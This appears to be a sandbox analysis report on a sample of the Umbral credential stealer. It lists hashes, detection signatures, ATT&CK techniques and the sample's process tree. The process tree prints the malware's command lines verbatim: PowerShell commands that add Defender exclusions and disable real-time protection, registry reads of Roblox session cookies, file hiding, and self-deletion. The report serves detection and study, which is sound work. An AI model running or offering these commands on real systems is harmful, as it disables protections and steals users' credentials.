umbral | 6f79fb9f7c9883bc3151bd95bd88f6e0b3f86c4b0f536a8f099a55656d922766

Analysis

max time kernel
9s
max time network
8s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
04/07/2024, 20:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

dead-payload.exe
Size

254KB
MD5

25a2522c3853f29cea7396fcd3e70c7c
SHA1

188fced84fffb29a17ce8828ac90911665512386
SHA256

6f79fb9f7c9883bc3151bd95bd88f6e0b3f86c4b0f536a8f099a55656d922766
SHA512

3140244dafd52f55574eb18250c0b2710c1276b134ba0747d13e233501fbf7324f8d7b92080a94c6006a8983a190e9953f942e8cba1b1a79eb851608986512d4
SSDEEP

6144:K4oZoAeVHPtHgTIAaZgCwDx7axHU0unC28ejI817:xoZyHPvWCwjXCsII

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/548-0-0x0000026923760000-0x00000269237A6000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dead-payload.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3656	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3460	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
548	dead-payload.exe
1668	powershell.exe
1668	powershell.exe
796	powershell.exe
796	powershell.exe
720	powershell.exe
720	powershell.exe
3692	powershell.exe
3692	powershell.exe
3768	powershell.exe
3768	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	548	dead-payload.exe
Token: SeIncreaseQuotaPrivilege	1796	wmic.exe
Token: SeSecurityPrivilege	1796	wmic.exe
Token: SeTakeOwnershipPrivilege	1796	wmic.exe
Token: SeLoadDriverPrivilege	1796	wmic.exe
Token: SeSystemProfilePrivilege	1796	wmic.exe
Token: SeSystemtimePrivilege	1796	wmic.exe
Token: SeProfSingleProcessPrivilege	1796	wmic.exe
Token: SeIncBasePriorityPrivilege	1796	wmic.exe
Token: SeCreatePagefilePrivilege	1796	wmic.exe
Token: SeBackupPrivilege	1796	wmic.exe
Token: SeRestorePrivilege	1796	wmic.exe
Token: SeShutdownPrivilege	1796	wmic.exe
Token: SeDebugPrivilege	1796	wmic.exe
Token: SeSystemEnvironmentPrivilege	1796	wmic.exe
Token: SeRemoteShutdownPrivilege	1796	wmic.exe
Token: SeUndockPrivilege	1796	wmic.exe
Token: SeManageVolumePrivilege	1796	wmic.exe
Token: 33	1796	wmic.exe
Token: 34	1796	wmic.exe
Token: 35	1796	wmic.exe
Token: 36	1796	wmic.exe
Token: SeIncreaseQuotaPrivilege	1796	wmic.exe
Token: SeSecurityPrivilege	1796	wmic.exe
Token: SeTakeOwnershipPrivilege	1796	wmic.exe
Token: SeLoadDriverPrivilege	1796	wmic.exe
Token: SeSystemProfilePrivilege	1796	wmic.exe
Token: SeSystemtimePrivilege	1796	wmic.exe
Token: SeProfSingleProcessPrivilege	1796	wmic.exe
Token: SeIncBasePriorityPrivilege	1796	wmic.exe
Token: SeCreatePagefilePrivilege	1796	wmic.exe
Token: SeBackupPrivilege	1796	wmic.exe
Token: SeRestorePrivilege	1796	wmic.exe
Token: SeShutdownPrivilege	1796	wmic.exe
Token: SeDebugPrivilege	1796	wmic.exe
Token: SeSystemEnvironmentPrivilege	1796	wmic.exe
Token: SeRemoteShutdownPrivilege	1796	wmic.exe
Token: SeUndockPrivilege	1796	wmic.exe
Token: SeManageVolumePrivilege	1796	wmic.exe
Token: 33	1796	wmic.exe
Token: 34	1796	wmic.exe
Token: 35	1796	wmic.exe
Token: 36	1796	wmic.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	wmic.exe
Token: SeSecurityPrivilege	4544	wmic.exe
Token: SeTakeOwnershipPrivilege	4544	wmic.exe
Token: SeLoadDriverPrivilege	4544	wmic.exe
Token: SeSystemProfilePrivilege	4544	wmic.exe
Token: SeSystemtimePrivilege	4544	wmic.exe
Token: SeProfSingleProcessPrivilege	4544	wmic.exe
Token: SeIncBasePriorityPrivilege	4544	wmic.exe
Token: SeCreatePagefilePrivilege	4544	wmic.exe
Token: SeBackupPrivilege	4544	wmic.exe
Token: SeRestorePrivilege	4544	wmic.exe
Token: SeShutdownPrivilege	4544	wmic.exe
Token: SeDebugPrivilege	4544	wmic.exe
Token: SeSystemEnvironmentPrivilege	4544	wmic.exe
Token: SeRemoteShutdownPrivilege	4544	wmic.exe
Token: SeUndockPrivilege	4544	wmic.exe
Token: SeManageVolumePrivilege	4544	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 548 wrote to memory of 1796	548	dead-payload.exe	83
PID 548 wrote to memory of 1796	548	dead-payload.exe	83
PID 548 wrote to memory of 2076	548	dead-payload.exe	86
PID 548 wrote to memory of 2076	548	dead-payload.exe	86
PID 548 wrote to memory of 1668	548	dead-payload.exe	88
PID 548 wrote to memory of 1668	548	dead-payload.exe	88
PID 548 wrote to memory of 796	548	dead-payload.exe	90
PID 548 wrote to memory of 796	548	dead-payload.exe	90
PID 548 wrote to memory of 720	548	dead-payload.exe	92
PID 548 wrote to memory of 720	548	dead-payload.exe	92
PID 548 wrote to memory of 3692	548	dead-payload.exe	95
PID 548 wrote to memory of 3692	548	dead-payload.exe	95
PID 548 wrote to memory of 4544	548	dead-payload.exe	97
PID 548 wrote to memory of 4544	548	dead-payload.exe	97
PID 548 wrote to memory of 3884	548	dead-payload.exe	99
PID 548 wrote to memory of 3884	548	dead-payload.exe	99
PID 548 wrote to memory of 3528	548	dead-payload.exe	101
PID 548 wrote to memory of 3528	548	dead-payload.exe	101
PID 548 wrote to memory of 3768	548	dead-payload.exe	103
PID 548 wrote to memory of 3768	548	dead-payload.exe	103
PID 548 wrote to memory of 3656	548	dead-payload.exe	105
PID 548 wrote to memory of 3656	548	dead-payload.exe	105
PID 548 wrote to memory of 4740	548	dead-payload.exe	107
PID 548 wrote to memory of 4740	548	dead-payload.exe	107
PID 4740 wrote to memory of 3460	4740	cmd.exe	109
PID 4740 wrote to memory of 3460	4740	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2076	attrib.exe

C:\Users\Admin\AppData\Local\Temp\dead-payload.exe
"C:\Users\Admin\AppData\Local\Temp\dead-payload.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:548
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1796
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dead-payload.exe"
  2⤵
  - Views/modifies file attributes
  PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dead-payload.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4544
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3768
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dead-payload.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
76692775e4781f0c9f0092f5804cfdb1

SHA1
6740e4e4110028c62282ee1e7eb8be576a2bc23a

SHA256
0c451ff3823450d544066237cbfb08556b7ca36c4a0ea085055f69ab35795b00

SHA512
6e0731e3736594d9e86da2fc33e08a663f29100074cc8d46e2716123c946b9eb150c804c7cf8428cac631e1cff984663d41ce3b5e1e77965bd8e2ecf0742af34

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
107102102e02e48f37f5318c7e113c43

SHA1
7fb10fc65c85fb4c050309f0872bc9389dcccc0d

SHA256
3c3f49948c1e832c86b959c32bc288ddedb500534b74df082f8967fc7f9976f7

SHA512
b108a47d7c3dd154cad44362b6cd557b7064096383d100e6cd64bfb19c4e2ad878ed4ee800776322ad3cc4bb721fb675b0ecab8f5661024188fa3aa19561841b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vx1utlhl.1vx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/548-68-0x000002693DE40000-0x000002693DE4A000-memory.dmp

Filesize
40KB

Download
memory/548-0-0x0000026923760000-0x00000269237A6000-memory.dmp

Filesize
280KB

Download
memory/548-2-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp

Filesize
10.8MB

Download
memory/548-31-0x000002693DF30000-0x000002693DF80000-memory.dmp

Filesize
320KB

Download
memory/548-30-0x000002693DEB0000-0x000002693DF26000-memory.dmp

Filesize
472KB

Download
memory/548-1-0x00007FFDA6343000-0x00007FFDA6345000-memory.dmp

Filesize
8KB

Download
memory/548-32-0x000002693DF80000-0x000002693DF9E000-memory.dmp

Filesize
120KB

Download
memory/548-69-0x000002693DE70000-0x000002693DE82000-memory.dmp

Filesize
72KB

Download
memory/548-87-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp

Filesize
10.8MB

Download
memory/1668-14-0x00000295DF410000-0x00000295DF432000-memory.dmp

Filesize
136KB

Download
memory/1668-16-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp

Filesize
10.8MB

Download
memory/1668-13-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp

Filesize
10.8MB

Download
memory/1668-12-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp

Filesize
10.8MB

Download